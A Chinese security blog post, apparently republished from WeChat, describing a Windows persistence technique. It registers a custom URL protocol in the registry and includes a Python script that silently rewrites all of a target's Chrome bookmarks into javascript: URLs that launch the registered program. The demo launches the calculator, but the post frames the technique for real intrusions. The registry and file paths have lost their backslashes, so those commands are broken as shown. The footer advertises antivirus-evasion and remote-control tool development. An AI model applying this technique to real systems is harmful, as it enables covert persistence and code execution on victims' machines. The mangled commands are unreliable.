0x01 前言
昨天晚上和秋风交流,发现自定义协议可以用来做权限维持。这个思路应该是比较新的,索性我也研究了起来。起先他还是通过自定义协议让客户端打开本地的文件,后面发现原来可以用来做权限维持。
0x02 自定义协议
自定义协议是一种特殊的URL Scheme,开发者可以定义任意协议名称,并绑定到特定的应用程序。当用户点击该协议的链接时,系统会调用注册表中定义的应用程序来处理URL。其工作原理如下:
-
注册协议:在Windows注册表中添加一个新键值,定义协议名称和对应的应用程序路径。 -
URI Scheme处理:当浏览器或其他应用程序识别到该URI Scheme时,会调用注册表中指定的应用程序执行。 -
参数传递:协议可以传递参数到应用程序,路径或查询字符串作为参数传递给应用程序。
该Scheme可以被浏览器或其他应用程序解释,并触发相应的本地程序。例如,你可以定义一个协议“mycalc”,当网页中的链接“mycalc://open”被点击时,Windows系统会打开计算器应用程序。
这里我们可以使用CMD命令行进行修改注册表,并且我们使用自定义协议能够打开 Calc.exe
reg add "HKEY_CLASSES_ROOTxz" /ve /d "URL:MyCalc Protocol" /f
reg add "HKEY_CLASSES_ROOTxz" /v "URL Protocol" /d "" /f
reg add "HKEY_CLASSES_ROOTxzshell" /f
reg add "HKEY_CLASSES_ROOTxzshellopen" /f
reg add "HKEY_CLASSES_ROOTxzshellopencommand" /ve /d ""C:\Windows\System32\calc.exe"" /f
这里其实我们还可以自己创建.reg
文件,并且使用cmd导入
Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOTxz]
@="URL:Calculator Protocol"
"URL Protocol"=""
[HKEY_CLASSES_ROOTxzshell]
[HKEY_CLASSES_ROOTxzshellopen]
[HKEY_CLASSES_ROOTxzshellopencommand]
@="C:\Windows\System32\calc.exe"
0x03 权限维持
昨天聊到正常浏览器的书签页是能够修改并且嵌套XSS语句,我们自定义了协议也就能够在浏览器进行修改。
javascript:window.open('https://www.baidu.com', '_blank'); setTimeout(function() { window.location.href = 'rce://open'; }, 3000);
正常在实战当中,我们肯定是不可能远程屏幕操作对方浏览器进行修改的。所以我们可以通过cmd来对浏览器的书签页进行修改。
以下是浏览器的书签存放位置
Chrome浏览器: C:Users<YourUsername>AppDataLocalGoogleChromeUser DataDefaultBookmarks
Firefox浏览器:C:Users<YourUsername>AppDataRoamingMozillaFirefoxProfiles<ProfileName>places.sqlite
Edge浏览器:C:Users<YourUsername>AppDataLocalMicrosoftEdgeUser DataDefaultBookmarks
我们这里以Chrome浏览器作为例子,针对 url 进行修改即可。
在实战当中,我们肯定不是添加新的标签页面,而是在原有的页面进行修改。于是我们就可以写一个脚本批量将目标的书签进行修改。
import json
def modify_chrome_bookmarks(bookmark_file):
def update_url(bookmark):
if 'url' in bookmark:
original_url = bookmark['url']
new_url = f"javascript:window.open('{original_url}', '_blank'); setTimeout(function() {{ window.location.href = 'xz://open'; }}, 3000);"
bookmark['url'] = new_url
def process_bookmark(bookmark):
if 'children' in bookmark:
for child in bookmark['children']:
process_bookmark(child)
else:
update_url(bookmark)
with open(bookmark_file, 'r+', encoding='utf-8') as file:
bookmarks = json.load(file)
for root in bookmarks['roots']:
process_bookmark(bookmarks['roots'][root])
file.seek(0)
json.dump(bookmarks, file, indent=4, ensure_ascii=False)
file.truncate()
# 文件存放位置路径
bookmark_path = "C:\Users\33868\AppData\Local\Google\Chrome\User Data\Default\Bookmarks"
modify_chrome_bookmarks(bookmark_path)
这里我们准备两个正常的书签,执行脚本
执行脚本之后成功修改,没有问题并且成功弹出计算器。
0x04 结尾
承接红蓝对抗、安全众测、安全培训、CTF代打、CTF培训、PHP / JAVA / GO / Python 代码审计、渗透测试、应急响应、免杀/远控开发、二进制漏洞挖掘、Web3安全服务、智能合约代码审计 等等的安全项目,请联系下方微信。
原文始发于微信公众号(不懂安全的校长):新一代权限维持|自定义协议加载恶意文件
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论